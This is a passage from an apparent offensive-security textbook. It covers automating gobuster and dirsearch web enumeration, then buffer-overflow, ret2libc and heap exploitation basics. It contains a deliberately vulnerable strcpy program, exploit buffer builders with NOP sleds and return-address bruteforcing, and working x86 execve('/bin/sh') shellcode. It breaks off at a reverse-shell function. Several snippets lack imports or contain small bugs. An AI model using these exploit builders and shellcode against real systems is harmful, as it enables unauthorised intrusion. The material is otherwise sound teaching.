from concurrent.futures import ThreadPoolExecutor

class GobusterAutomation:
    def __init__(self, target_url):
        self.target_url = target_url.rstrip('/')
        self.results = {}
        
    def dir_scan(self, wordlist='/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt',
                 extensions=None, threads=50):
        """Perform directory/file enumeration"""
        
        cmd = [
            'gobuster', 'dir',
            '-u', self.target_url,
            '-w', wordlist,
            '-t', str(threads),
            '-o', f'gobuster_dir_{int(threading.get_ident())}.txt'
        ]
        
        if extensions:
            cmd.extend(['-x', ','.join(extensions)])
            
        # Add common options
        cmd.extend(['-q', '--no-error', '-k'])  # Quiet, no TLS verification
        
        print(f"[*] Starting directory scan on {self.target_url}")
        print(f"    Wordlist: {wordlist}")
        if extensions:
            print(f"    Extensions: {extensions}")
            
        result = subprocess.run(cmd, capture_output=True, text=True)
        
        # Parse results
        found_dirs = []
        for line in result.stdout.split('\n'):
            if line.strip() and 'Status:' in line:
                parts = line.split()
                if len(parts) >= 4:
                    status = parts[-2]
                    url = parts[-1]
                    found_dirs.append({
                        'url': url,
                        'status': status
                    })
                    
        self.results['directories'] = found_dirs
        return found_dirs
    
    def dns_scan(self, domain, wordlist='/usr/share/wordlists/dns/subdomains.txt', threads=50):
        """Perform DNS subdomain enumeration"""
        
        cmd = [
            'gobuster', 'dns',
            '-d', domain,
            '-w', wordlist,
            '-t', str(threads),
            '-o', f'gobuster_dns_{int(threading.get_ident())}.txt'
        ]
        
        print(f"[*] Starting DNS scan on {domain}")
        
        result = subprocess.run(cmd, capture_output=True, text=True)
        
        # Parse results
        subdomains = []
        for line in result.stdout.split('\n'):
            if 'Found:' in line:
                parts = line.split()
                if len(parts) >= 2:
                    subdomain = parts[1]
                    subdomains.append(subdomain)
                    
        self.results['subdomains'] = subdomains
        return subdomains
    
    def vhost_scan(self, domain, wordlist='/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt',
                   threads=50):
        """Perform virtual host enumeration"""
        
        cmd = [
            'gobuster', 'vhost',
            '-u', self.target_url,
            '-w', wordlist,
            '-t', str(threads),
            '-o', f'gobuster_vhost_{int(threading.get_ident())}.txt'
        ]
        
        print(f"[*] Starting vhost scan on {self.target_url}")
        
        result = subprocess.run(cmd, capture_output=True, text=True)
        
        # Parse results
        vhosts = []
        for line in result.stdout.split('\n'):
            if 'Found:' in line:
                parts = line.split()
                if len(parts) >= 2:
                    vhost = parts[1]
                    vhosts.append(vhost)
                    
        self.results['vhosts'] = vhosts
        return vhosts
    
    def s3_scan(self, wordlist='/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt',
                threads=50):
        """Scan for S3 buckets"""
        
        cmd = [
            'gobuster', 's3',
            '-w', wordlist,
            '-t', str(threads),
            '-o', f'gobuster_s3_{int(threading.get_ident())}.txt'
        ]
        
        print("[*] Starting S3 bucket scan")
        
        result = subprocess.run(cmd, capture_output=True, text=True)
        
        # Parse results
        buckets = []
        for line in result.stdout.split('\n'):
            if 'Found:' in line:
                parts = line.split()
                if len(parts) >= 2:
                    bucket = parts[1]
                    buckets.append(bucket)
                    
        self.results['s3_buckets'] = buckets
        return buckets
    
    def fuzz_scan(self, pattern, wordlist='/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt',
                  threads=50):
        """Perform fuzzing with custom pattern"""
        
        # Replace FUZZ in URL
        fuzz_url = self.target_url.replace('FUZZ', '{fuzz}')
        
        cmd = [
            'gobuster', 'fuzz',
            '-u', fuzz_url,
            '-w', wordlist,
            '-t', str(threads),
            '-o', f'gobuster_fuzz_{int(threading.get_ident())}.txt'
        ]
        
        print(f"[*] Starting fuzz scan with pattern: {pattern}")
        
        result = subprocess.run(cmd, capture_output=True, text=True)
        
        # Parse results
        findings = []
        for line in result.stdout.split('\n'):
            if 'Result:' in line:
                findings.append(line)
                
        self.results['fuzz'] = findings
        return findings
    
    def multi_threaded_scan(self, scan_types, wordlists=None):
        """Run multiple scan types in parallel"""
        
        if wordlists is None:
            wordlists = {
                'dir': '/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt',
                'dns': '/usr/share/wordlists/dns/subdomains.txt',
                'vhost': '/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt'
            }
            
        with ThreadPoolExecutor(max_workers=len(scan_types)) as executor:
            futures = []
            
            for scan_type in scan_types:
                if scan_type == 'dir':
                    future = executor.submit(
                        self.dir_scan,
                        wordlists.get('dir', wordlists['dir'])
                    )
                elif scan_type == 'dns':
                    future = executor.submit(
                        self.dns_scan,
                        self.target_url.replace('http://', '').replace('https://', '').split('/')[0],
                        wordlists.get('dns', wordlists['dns'])
                    )
                elif scan_type == 'vhost':
                    future = executor.submit(
                        self.vhost_scan,
                        self.target_url,
                        wordlists.get('vhost', wordlists['vhost'])
                    )
                else:
                    continue
                    
                futures.append((scan_type, future))
                
            # Collect results
            for scan_type, future in futures:
                try:
                    result = future.result()
                    print(f"[+] {scan_type} scan completed: {len(result)} findings")
                except Exception as e:
                    print(f"[-] {scan_type} scan failed: {e}")
                    
    def generate_report(self):
        """Generate scan report"""
        
        report = {
            'target': self.target_url,
            'findings': self.results,
            'summary': {}
        }
        
        # Generate summary
        for scan_type, findings in self.results.items():
            if isinstance(findings, list):
                report['summary'][scan_type] = len(findings)
                
                # Categorize by status code for directory scans
                if scan_type == 'directories':
                    status_counts = {}
                    for finding in findings:
                        status = finding.get('status')
                        if status:
                            status_counts[status] = status_counts.get(status, 0) + 1
                    report['summary']['status_codes'] = status_counts
                    
        return report
    
    def save_results(self, filename):
        """Save results to JSON file"""
        
        report = self.generate_report()
        with open(filename, 'w') as f:
            json.dump(report, f, indent=2)
        print(f"[+] Results saved to {filename}")

# Example usage
gobuster = GobusterAutomation('https://example.com')

# Directory scan with common extensions
print("[*] Running directory scan...")
dirs = gobuster.dir_scan(
    extensions=['php', 'html', 'txt', 'bak', 'old'],
    threads=100
)

for dir_finding in dirs[:10]:  # Show first 10
    print(f"  {dir_finding['status']}: {dir_finding['url']}")

# DNS scan
domain = 'example.com'
print(f"\n[*] Running DNS scan on {domain}...")
subdomains = gobuster.dns_scan(domain)

for sub in subdomains[:10]:
    print(f"  Found: {sub}")

# Save results
gobuster.save_results('gobuster_results.json')

14.5 Dirsearch

Dirsearch is a mature command-line tool designed to brute force directories and files in web servers.

14.5.1 Dirsearch Configuration and Usage

#!/usr/bin/env python3
# dirsearch_automation.py

import subprocess
import json
import os
import re

class DirsearchAutomation:
    def __init__(self, target_url):
        self.target_url = target_url.rstrip('/')
        self.results = []
        
    def basic_scan(self, wordlist='/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt',
                   extensions=None, threads=50):
        """Perform basic dirsearch scan"""
        
        cmd = [
            'dirsearch',
            '-u', self.target_url,
            '-w', wordlist,
            '-t', str(threads),
            '--format=json',
            '-o', f'dirsearch_{int(time.time())}.json'
        ]
        
        if extensions:
            cmd.extend(['-e', ','.join(extensions)])
            
        # Add common options
        cmd.extend(['-r', '-R', '2', '--full-url'])  # Recursive scan
        
        print(f"[*] Starting dirsearch scan on {self.target_url}")
        print(f"    Wordlist: {wordlist}")
        if extensions:
            print(f"    Extensions: {extensions}")
            
        result = subprocess.run(cmd, capture_output=True, text=True)
        
        # Parse JSON output
        output_file = None
        for line in result.stdout.split('\n'):
            if 'saved to:' in line:
                output_file = line.split('saved to:')[-1].strip()
                break
                
        if output_file and os.path.exists(output_file):
            with open(output_file, 'r') as f:
                data = json.load(f)
                self.results = data.get('results', [])
                
        return self.results
    
    def advanced_scan(self, options):
        """Run dirsearch with advanced options"""
        
        cmd = ['dirsearch', '-u', self.target_url]
        
        # Map options to command-line arguments
        option_map = {
            'wordlist': ['-w', ''],
            'extensions': ['-e', ''],
            'threads': ['-t', ''],
            'timeout': ['--timeout', ''],
            'delay': ['--delay', ''],
            'max_retries': ['--max-retries', ''],
            'recursive': ['-r', None],
            'recursive_depth': ['-R', ''],
            'exclude_status': ['-x', ''],
            'include_status': ['-i', ''],
            'user_agent': ['--user-agent', ''],
            'cookie': ['--cookie', ''],
            'headers': ['--headers', ''],
            'proxy': ['--proxy', ''],
            'full_url': ['--full-url', None],
            'random_agent': ['--random-agent', None]
        }
        
        for opt, value in options.items():
            if opt in option_map:
                arg, arg_value = option_map[opt]
                cmd.append(arg)
                if arg_value is not None:
                    cmd.append(str(value))
                    
        # Output format
        cmd.extend(['--format=json', '-o', f'dirsearch_advanced_{int(time.time())}.json'])
        
        print(f"[*] Running advanced dirsearch scan")
        print(f"    Command: {' '.join(cmd)}")
        
        result = subprocess.run(cmd, capture_output=True, text=True)
        
        # Parse output file
        for line in result.stdout.split('\n'):
            if 'saved to:' in line:
                output_file = line.split('saved to:')[-1].strip()
                if os.path.exists(output_file):
                    with open(output_file, 'r') as f:
                        data = json.load(f)
                        return data.get('results', [])
                        
        return []
    
    def recursive_scan(self, initial_findings, depth=3):
        """Recursively scan discovered directories"""
        
        all_findings = initial_findings.copy()
        directories_to_scan = []
        
        # Extract directories from initial findings
        for finding in initial_findings:
            if finding.get('status') in [200, 301, 302, 403]:
                url = finding.get('url')
                if url.endswith('/'):
                    directories_to_scan.append(url)
                    
        # Scan each directory recursively
        for directory in directories_to_scan[:10]:  # Limit to first 10
            print(f"[*] Recursively scanning: {directory}")
            
            scanner = DirsearchAutomation(directory)
            recursive_findings = scanner.basic_scan(
                extensions=['php', 'html', 'txt'],
                threads=30
            )
            
            all_findings.extend(recursive_findings)
            
        return all_findings
    
    def filter_results(self, status_codes=None, content_length=None, pattern=None):
        """Filter scan results"""
        
        filtered = self.results.copy()
        
        if status_codes:
            filtered = [f for f in filtered if f.get('status') in status_codes]
            
        if content_length:
            filtered = [f for f in filtered if f.get('length', 0) != content_length]
            
        if pattern:
            filtered = [f for f in filtered if re.search(pattern, f.get('url', ''), re.I)]
            
        return filtered
    
    def get_interesting_results(self):
        """Get potentially interesting findings"""
        
        interesting = []
        
        for finding in self.results:
            url = finding.get('url', '')
            status = finding.get('status')
            
            # Check for admin panels
            if any(term in url.lower() for term in ['admin', 'login', 'wp-admin', 'dashboard']):
                interesting.append({
                    'type': 'Admin Panel',
                    'url': url,
                    'status': status
                })
                
            # Check for backup files
            if any(url.lower().endswith(ext) for ext in ['.bak', '.old', '.backup', '.swp']):
                interesting.append({
                    'type': 'Backup File',
                    'url': url,
                    'status': status
                })
                
            # Check for configuration files
            if any(term in url.lower() for term in ['config', '.git', '.env', 'wp-config']):
                interesting.append({
                    'type': 'Config File',
                    'url': url,
                    'status': status
                })
                
            # Check for upload directories
            if any(term in url.lower() for term in ['upload', 'uploads', 'files', 'media']):
                if status == 200:
                    interesting.append({
                        'type': 'Upload Directory',
                        'url': url,
                        'status': status
                    })
                    
        return interesting
    
    def generate_report(self):
        """Generate detailed report"""
        
        report = {
            'target': self.target_url,
            'total_findings': len(self.results),
            'status_breakdown': {},
            'interesting_findings': self.get_interesting_results(),
            'all_findings': self.results
        }
        
        # Status code breakdown
        for finding in self.results:
            status = finding.get('status')
            if status:
                report['status_breakdown'][status] = report['status_breakdown'].get(status, 0) + 1
                
        # Group by directory
        directories = {}
        for finding in self.results:
            url = finding.get('url', '')
            base_dir = '/'.join(url.split('/')[:-1]) + '/'
            if base_dir not in directories:
                directories[base_dir] = []
            directories[base_dir].append(finding)
            
        report['directories'] = directories
        
        return report

# Example usage
import time

dirsearch = DirsearchAutomation('https://example.com')

# Basic scan
print("[*] Running dirsearch scan...")
results = dirsearch.basic_scan(
    extensions=['php', 'html', 'txt', 'bak'],
    threads=50
)

# Filter interesting results
interesting = dirsearch.get_interesting_results()
print(f"\n[+] Found {len(interesting)} interesting results:")
for item in interesting:
    print(f"  {item['type']}: {item['url']} ({item['status']})")

# Filter by status code
dir_200 = dirsearch.filter_results(status_codes=[200])
print(f"\n[+] {len(dir_200)} directories with status 200")

# Generate report
report = dirsearch.generate_report()
print(f"\n[+] Status breakdown: {report['status_breakdown']}")

# Save results
with open('dirsearch_report.json', 'w') as f:
    json.dump(report, f, indent=2)
print("[+] Report saved to dirsearch_report.json")

14.5.2 Dirsearch vs Gobuster Comparison

#!/usr/bin/env python3
# tool_comparison.py

class WebToolComparator:
    def __init__(self):
        self.tools = {
            'gobuster': {
                'pros': [
                    'Very fast (written in Go)',
                    'Multiple modes (dir, dns, vhost, s3)',
                    'Low memory footprint',
                    'Good for large wordlists',
                    'Active development'
                ],
                'cons': [
                    'Limited filtering options',
                    'No recursive scanning by default',
                    'Basic output formats'
                ],
                'best_for': ['Large-scale scans', 'Performance-critical tasks', 'DNS enumeration']
            },
            'dirsearch': {
                'pros': [
                    'Advanced recursive scanning',
                    'Excellent filtering options',
                    'Multiple output formats (including JSON)',
                    'Good for targeted scans',
                    'Extensive configuration options'
                ],
                'cons': [
                    'Slower than gobuster',
                    'Higher memory usage',
                    'Python-based (slower for large wordlists)'
                ],
                'best_for': ['Deep recursive scans', 'Detailed reconnaissance', 'CTF challenges']
            },
            'ffuf': {
                'pros': [
                    'Extremely fast',
                    'Advanced filtering capabilities',
                    'Flexible wordlist handling',
                    'Great for fuzzing'
                ],
                'cons': [
                    'Steeper learning curve',
                    'Less user-friendly',
                    'Limited built-in wordlists'
                ],
                'best_for': ['Fuzzing', 'Parameter discovery', 'Performance testing']
            }
        }
        
    def recommend_tool(self, requirements):
        """Recommend best tool based on requirements"""
        
        scores = {tool: 0 for tool in self.tools}
        
        if requirements.get('speed', False):
            scores['gobuster'] += 2
            scores['ffuf'] += 2
            
        if requirements.get('recursive', False):
            scores['dirsearch'] += 2
            
        if requirements.get('dns_enum', False):
            scores['gobuster'] += 3
            
        if requirements.get('fuzzing', False):
            scores['ffuf'] += 3
            
        if requirements.get('deep_scan', False):
            scores['dirsearch'] += 2
            scores['ffuf'] += 1
            
        if requirements.get('large_wordlist', False):
            scores['gobuster'] += 2
            scores['ffuf'] += 2
            
        if requirements.get('easy_use', False):
            scores['gobuster'] += 1
            scores['dirsearch'] += 1
            
        # Get tool with highest score
        recommended = max(scores, key=scores.get)
        
        return {
            'recommended': recommended,
            'scores': scores,
            'details': self.tools[recommended]
        }
    
    def generate_cheatsheet(self):
        """Generate usage cheatsheet for each tool"""
        
        cheatsheet = {
            'gobuster': {
                'dir_scan': 'gobuster dir -u https://example.com -w wordlist.txt -t 50',
                'dir_with_ext': 'gobuster dir -u https://example.com -w wordlist.txt -x php,html,txt',
                'dns_scan': 'gobuster dns -d example.com -w subdomains.txt',
                'vhost_scan': 'gobuster vhost -u https://example.com -w wordlist.txt',
                's3_scan': 'gobuster s3 -w wordlist.txt'
            },
            'dirsearch': {
                'basic': 'dirsearch -u https://example.com -w wordlist.txt',
                'with_ext': 'dirsearch -u https://example.com -e php,html,txt',
                'recursive': 'dirsearch -u https://example.com -r -R 3',
                'filter': 'dirsearch -u https://example.com -x 403,404',
                'threads': 'dirsearch -u https://example.com -t 100'
            },
            'ffuf': {
                'basic': 'ffuf -u https://example.com/FUZZ -w wordlist.txt',
                'with_ext': 'ffuf -u https://example.com/FUZZ -w wordlist.txt -e .php,.html',
                'filter_size': 'ffuf -u https://example.com/FUZZ -w wordlist.txt -fs 1234',
                'vhost': 'ffuf -u https://example.com -H "Host: FUZZ.example.com" -w wordlist.txt',
                'parameters': 'ffuf -u https://example.com/page?FUZZ=test -w parameters.txt'
            }
        }
        
        return cheatsheet

# Example usage
comparator = WebToolComparator()

# Test scenarios
scenarios = [
    {'name': 'Large-scale directory scan', 'requirements': {'speed': True, 'large_wordlist': True}},
    {'name': 'Deep recursive scan', 'requirements': {'recursive': True, 'deep_scan': True}},
    {'name': 'Parameter fuzzing', 'requirements': {'fuzzing': True, 'speed': True}},
    {'name': 'DNS subdomain enumeration', 'requirements': {'dns_enum': True}},
    {'name': 'CTF challenge', 'requirements': {'deep_scan': True, 'easy_use': True}}
]

for scenario in scenarios:
    print(f"\n[*] Scenario: {scenario['name']}")
    recommendation = comparator.recommend_tool(scenario['requirements'])
    print(f"  Recommended: {recommendation['recommended']}")
    print(f"  Why: {recommendation['details']['best_for'][0]}")

# Generate cheatsheet
print("\n" + "="*60)
print("TOOL CHEATSHEET")
print("="*60)

cheatsheet = comparator.generate_cheatsheet()
for tool, commands in cheatsheet.items():
    print(f"\n[{tool.upper()}]")
    for cmd_type, cmd in commands.items():
        print(f"  {cmd_type}: {cmd}")

PART VI — EXPLOITATION

Chapter 15 — Exploit Development Basics

Exploit development is the art of transforming vulnerabilities into working exploits. This chapter covers the fundamental concepts required to understand, develop, and modify exploits for security testing purposes.

15.1 Buffer Overflows

Buffer overflow vulnerabilities occur when a program writes more data to a buffer than it can hold, potentially allowing an attacker to control program execution.

15.1.1 Memory Layout and Stack Operations

Understanding memory organization is crucial for exploit development:

#!/usr/bin/env python3
# memory_layout.py

class MemoryLayout:
    def __init__(self):
        self.memory_regions = {
            'text': {
                'description': 'Code segment - contains executable instructions',
                'permissions': 'Read-Only, Execute',
                'location': 'Lowest addresses',
                'contents': 'Program code'
            },
            'data': {
                'description': 'Initialized global and static variables',
                'permissions': 'Read-Write',
                'location': 'Above text segment',
                'contents': 'Global variables with initial values'
            },
            'bss': {
                'description': 'Uninitialized global and static variables',
                'permissions': 'Read-Write',
                'location': 'Above data segment',
                'contents': 'Global variables initialized to zero'
            },
            'heap': {
                'description': 'Dynamic memory allocation',
                'permissions': 'Read-Write',
                'location': 'Grows upward',
                'contents': 'malloc(), new(), etc.'
            },
            'stack': {
                'description': 'Function call information, local variables',
                'permissions': 'Read-Write',
                'location': 'Grows downward',
                'contents': 'Function parameters, return addresses, local variables'
            }
        }
        
    def show_stack_frame(self, function_name, local_vars, params):
        """Illustrate stack frame layout"""
        
        print(f"\n[+] Stack Frame for {function_name}()")
        print("    Higher Addresses")
        print("    +-----------------+")
        print("    | Function Params | <- Previous stack")
        for param in params:
            print(f"    |   {param}         |")
        print("    +-----------------+")
        print("    | Return Address  | <- Where to return after function")
        print("    +-----------------+")
        print("    | Saved EBP       | <- Previous frame pointer")
        print("    +-----------------+")
        print("    | Local Variables |")
        for var in local_vars:
            print(f"    |   {var}          |")
        print("    +-----------------+")
        print("    |   ...           |")
        print("    |   Buffer        | <- Overflow point")
        print("    +-----------------+")
        print("    Lower Addresses")

# Example usage
memory = MemoryLayout()
memory.show_stack_frame('vulnerable_function', 
                        ['buffer[64]', 'counter'], 
                        ['arg1', 'arg2'])

x86 Assembly Fundamentals:

#!/usr/bin/env python3
# x86_assembly.py

class x86Assembly:
    def __init__(self):
        self.registers = {
            'EAX': 'Accumulator - used for arithmetic, function returns',
            'EBX': 'Base - base pointer for memory operations',
            'ECX': 'Counter - loop counter',
            'EDX': 'Data - I/O, arithmetic',
            'ESI': 'Source Index - source for string operations',
            'EDI': 'Destination Index - destination for string operations',
            'ESP': 'Stack Pointer - points to top of stack',
            'EBP': 'Base Pointer - points to base of current stack frame',
            'EIP': 'Instruction Pointer - points to next instruction'
        }
        
        self.instructions = {
            'mov': 'mov dest, src - copy src to dest',
            'push': 'push value - push value onto stack',
            'pop': 'pop dest - pop value from stack into dest',
            'call': 'call address - call function, push return address',
            'ret': 'return from function, pop return address',
            'jmp': 'jmp address - unconditional jump',
            'je/jne': 'conditional jumps based on flags',
            'cmp': 'cmp a,b - compare a and b, set flags',
            'add/sub': 'arithmetic operations',
            'lea': 'lea dest, src - load effective address',
            'nop': 'no operation (often used for padding)'
        }
        
    def demonstrate_function_prologue(self):
        """Show function prologue and epilogue"""
        
        print("[+] Function Prologue (function entry):")
        print("    push ebp           ; Save old base pointer")
        print("    mov ebp, esp       ; Set new base pointer")
        print("    sub esp, X         ; Allocate space for local variables")
        
        print("\n[+] Function Body:")
        print("    ...                ; Actual function code")
        
        print("\n[+] Function Epilogue (function exit):")
        print("    mov esp, ebp       ; Restore stack pointer")
        print("    pop ebp            ; Restore base pointer")
        print("    ret                ; Return to caller")
        
    def demonstrate_stack_operations(self):
        """Show how stack operations work"""
        
        print("[+] Stack Operations Example:")
        print("\n    Initial stack:")
        print("    ESP -> [ ... ]")
        
        print("\n    push eax (value 0x1234):")
        print("    ESP -> [0x1234]")
        print("           [ ... ]")
        
        print("\n    push ebx (value 0x5678):")
        print("    ESP -> [0x5678]")
        print("           [0x1234]")
        print("           [ ... ]")
        
        print("\n    pop ecx:")
        print("    ECX = 0x5678")
        print("    ESP -> [0x1234]")
        print("           [ ... ]")

# Example usage
asm = x86Assembly()
asm.demonstrate_function_prologue()
asm.demonstrate_stack_operations()

15.1.2 Buffer Overflow Vulnerability Analysis

Vulnerable C Program:

// vuln.c - Vulnerable program for buffer overflow demonstration
#include <stdio.h>
#include <string.h>

void vulnerable_function(char *user_input) {
    char buffer[64];  // Small buffer
    strcpy(buffer, user_input);  // No bounds checking!
    printf("Buffer contents: %s\n", buffer);
}

int main(int argc, char *argv[]) {
    if (argc != 2) {
        printf("Usage: %s <input>\n", argv[0]);
        return 1;
    }
    
    printf("Calling vulnerable function...\n");
    vulnerable_function(argv[1]);
    printf("Returned safely\n");
    
    return 0;
}

Python Script for Testing:

#!/usr/bin/env python3
# buffer_overflow_tester.py

import subprocess
import struct
import sys

class BufferOverflowTester:
    def __init__(self, binary_path):
        self.binary = binary_path
        self.crash_logs = []
        
    def generate_pattern(self, length):
        """Generate cyclic pattern for offset discovery"""
        pattern = ""
        for i in range(0, length, 4):
            # Generate unique 4-byte pattern
            pattern += struct.pack("<I", 0x41414141 + i).decode('ascii', 'ignore')
        return pattern[:length]
    
    def find_offset(self, crash_length=100):
        """Find exact offset to overwrite EIP"""
        
        # Generate pattern
        pattern = self.generate_pattern(crash_length)
        
        # Run program with pattern
        try:
            result = subprocess.run(
                [self.binary, pattern],
                capture_output=True,
                timeout=1
            )
        except subprocess.TimeoutExpired:
            pass
            
        # Check if crashed and get crash info
        # In real scenario, would use a debugger like GDB
        print(f"[*] Testing with {crash_length} bytes...")
        
        # Simplified offset detection
        # In practice, you'd use pattern_offset.rb or similar
        return 64  # Example offset
    
    def test_overflow(self, offset, ret_address, shellcode):
        """Test specific overflow with return address"""
        
        # Build exploit buffer
        buffer = b'A' * offset
        buffer += struct.pack("<I", ret_address)  # Return address
        buffer += b'\x90' * 16  # NOP sled
        buffer += shellcode
        
        # Run with exploit
        try:
            result = subprocess.run(
                [self.binary, buffer],
                capture_output=True,
                timeout=1
            )
            return result.returncode != 0
        except subprocess.TimeoutExpired:
            return True  # Crashed/timeout might indicate success
    
    def bruteforce_ret_address(self, offset, shellcode, start=0xbffff000, end=0xbfffffff, step=0x10):
        """Bruteforce return address (for stack-based exploits)"""
        
        for ret in range(start, end, step):
            if self.test_overflow(offset, ret, shellcode):
                print(f"[+] Possible working return address: 0x{ret:08x}")
                return ret
        return None

# Example usage (simulated)
tester = BufferOverflowTester('./vuln')
offset = tester.find_offset(100)
print(f"[+] Offset to EIP: {offset} bytes")

GDB Automation for Exploit Development:

#!/usr/bin/env python3
# gdb_automation.py

import pexpect
import re

class GDBExploitHelper:
    def __init__(self, binary):
        self.binary = binary
        self.gdb = None
        
    def start_gdb(self):
        """Start GDB session"""
        self.gdb = pexpect.spawn(f'gdb {self.binary}')
        self.gdb.expect('\(gdb\)')
        
    def set_breakpoint(self, function):
        """Set breakpoint at function"""
        self.gdb.sendline(f'break {function}')
        self.gdb.expect('\(gdb\)')
        
    def run_with_input(self, input_data):
        """Run program with input"""
        self.gdb.sendline(f'r {input_data}')
        
    def get_register_value(self, register):
        """Get value of register"""
        self.gdb.sendline(f'info register {register}')
        self.gdb.expect(f'{register}\s+([0-9a-fx]+)')
        match = self.gdb.after
        if match:
            value = re.search(r'0x[0-9a-f]+', match.decode())
            return value.group(0) if value else None
        return None
    
    def examine_memory(self, address, count=16):
        """Examine memory at address"""
        self.gdb.sendline(f'x/{count}x {address}')
        self.gdb.expect('\(gdb\)')
        return self.gdb.before.decode()
    
    def find_offset_with_pattern(self, pattern_length=100):
        """Use GDB to find exact offset"""
        
        # Generate pattern using Metasploit's pattern_create
        import subprocess
        pattern = subprocess.check_output([
            'pattern_create.rb', '-l', str(pattern_length)
        ]).decode().strip()
        
        # Run with pattern
        self.start_gdb()
        self.run_with_input(f'"{pattern}"')
        
        # Check if crashed and get EIP value
        try:
            self.gdb.expect('Program received signal', timeout=1)
            eip = self.get_register_value('eip')
            if eip:
                # Use pattern_offset to find offset
                offset = subprocess.check_output([
                    'pattern_offset.rb', '-q', eip
                ]).decode()
                return offset
        except pexpect.TIMEOUT:
            print("[-] Program didn't crash")
            
        return None
    
    def close(self):
        if self.gdb:
            self.gdb.sendline('quit')
            self.gdb.close()

# Example usage
helper = GDBExploitHelper('./vuln')
offset = helper.find_offset_with_pattern(200)
print(f"[+] Offset found: {offset}")
helper.close()

15.2 Stack vs Heap Exploitation

Understanding the difference between stack and heap memory is crucial for exploit development.

15.2.1 Stack-Based Exploitation

#!/usr/bin/env python3
# stack_exploitation.py

class StackExploitation:
    def __init__(self):
        self.techniques = {
            'direct_ret': 'Directly overwrite return address with shellcode address',
            'nop_sled': 'Use NOP instructions to increase chance of hitting shellcode',
            'ret2libc': 'Return to libc functions (bypasses NX bit)',
            'rop': 'Return-Oriented Programming - chain small instruction sequences'
        }
        
    def demonstrate_nop_sled(self):
        """Show NOP sled concept"""
        
        print("[+] NOP Sled Technique:")
        print("    Lower Addresses")
        print("    +-----------------+")
        print("    |                 |")
        print("    |   Shellcode     | <- Shellcode to execute")
        print("    |                 |")
        print("    +-----------------+")
        print("    |     NOP         |")
        print("    |     NOP         | <- NOP sled (increase hit chance)")
        print("    |     NOP         |")
        print("    +-----------------+")
        print("    |  Return Addr    | <- Points somewhere in NOP sled")
        print("    +-----------------+")
        print("    |                 |")
        print("    |   Buffer        |")
        print("    +-----------------+")
        print("    Higher Addresses")
        
    def generate_nop_sled(self, length):
        """Generate NOP sled of specified length"""
        # x86 NOP is 0x90
        return b'\x90' * length
    
    def demonstrate_ret2libc(self):
        """Show ret2libc technique"""
        
        print("\n[+] ret2libc Technique (bypass NX):")
        print("    Instead of executing shellcode on stack,")
        print("    we return to existing libc functions:")
        print("\n    Stack Layout:")
        print("    +-----------------+")
        print("    | system() addr   | <- Return to system()")
        print("    +-----------------+")
        print("    | exit() addr     | <- Return after system()")
        print("    +-----------------+")
        print("    | \"/bin/sh\" addr  | <- Argument to system()")
        print("    +-----------------+")
        
    def build_ret2libc_chain(self, system_addr, exit_addr, binsh_addr):
        """Build ret2libc exploit chain"""
        
        chain = b''
        chain += b'A' * 64  # Buffer padding
        chain += struct.pack('<I', system_addr)  # system() address
        chain += struct.pack('<I', exit_addr)    # exit() address
        chain += struct.pack('<I', binsh_addr)   # "/bin/sh" address
        return chain

# Example usage
stack_exp = StackExploitation()
stack_exp.demonstrate_nop_sled()
stack_exp.demonstrate_ret2libc()

15.2.2 Heap-Based Exploitation

#!/usr/bin/env python3
# heap_exploitation.py

class HeapExploitation:
    def __init__(self):
        self.techniques = {
            'heap_overflow': 'Overflowing heap buffers to corrupt adjacent metadata',
            'use_after_free': 'Using memory after it has been freed',
            'double_free': 'Freeing the same memory twice',
            'unlink_exploit': 'Exploiting heap unlink operations'
        }
        
    def demonstrate_heap_layout(self):
        """Show heap chunk layout"""
        
        print("[+] Heap Chunk Layout (glibc malloc):")
        print("    +---------------------------+")
        print("    | prev_size (if previous    | <- Previous chunk size")
        print("    |  chunk is free)            |")
        print("    +---------------------------+")
        print("    | size (includes flags)     | <- Current chunk size")
        print("    +---------------------------+")
        print("    |                           |")
        print("    |      User Data            | <- Application data")
        print("    |                           |")
        print("    +---------------------------+")
        print("    |                           |")
        print("    |   Next chunk metadata     |")
        print("    +---------------------------+")
        
    def demonstrate_unlink_exploit(self):
        """Show unlink exploitation technique"""
        
        print("\n[+] Unlink Exploit:")
        print("    When chunks are consolidated, the unlink macro:")
        print("\n    FD = P->fd")
        print("    BK = P->bk")
        print("    FD->bk = BK")
        print("    BK->fd = FD")
        print("\n    By controlling FD and BK, we can write arbitrary values")
        print("    Example: FD = target_address - 12")
        print("             BK = shellcode_address")
        print("    Results in: target_address = shellcode_address")
        
    def demonstrate_use_after_free(self):
        """Show use-after-free exploitation"""
        
        print("\n[+] Use-After-Free:")
        print("    1. Allocate chunk A")
        print("    2. Free chunk A")
        print("    3. Allocate chunk B (same size) - gets freed chunk A")
        print("    4. Program still uses pointer to A, but now points to B's data")
        
    def create_fake_chunk(self, size, fd, bk):
        """Create fake chunk metadata"""
        
        fake_chunk = b''
        fake_chunk += struct.pack('<I', 0)  # prev_size
        fake_chunk += struct.pack('<I', size)  # size
        fake_chunk += struct.pack('<I', fd)  # forward pointer
        fake_chunk += struct.pack('<I', bk)  # backward pointer
        return fake_chunk

# Example usage
heap_exp = HeapExploitation()
heap_exp.demonstrate_heap_layout()
heap_exp.demonstrate_unlink_exploit()

15.3 Shellcode Basics

Shellcode is small, position-independent code used as the payload in exploits.

15.3.1 Shellcode Development

#!/usr/bin/env python3
# shellcode_development.py

import subprocess
import struct

class ShellcodeGenerator:
    def __init__(self):
        self.shellcodes = {}
        
    def generate_linux_execve(self):
        """Generate Linux execve(/bin/sh) shellcode"""
        
        # x86 Linux execve shellcode
        shellcode = (
            b"\x31\xc0"              # xor eax, eax
            b"\x50"                   # push eax
            b"\x68\x2f\x2f\x73\x68"   # push "//sh"
            b"\x68\x2f\x62\x69\x6e"   # push "/bin"
            b"\x89\xe3"               # mov ebx, esp
            b"\x50"                   # push eax
            b"\x53"                   # push ebx
            b"\x89\xe1"               # mov ecx, esp
            b"\x99"                   # cdq
            b"\xb0\x0b"               # mov al, 0xb (execve syscall)
            b"\xcd\x80"               # int 0x80
        )
        
        self.shellcodes['linux_execve'] = shellcode
        return shellcode
    
    def generate_linux_reverse_shell(self, ip, port):
        """Generate reverse shell shellcode"""
        
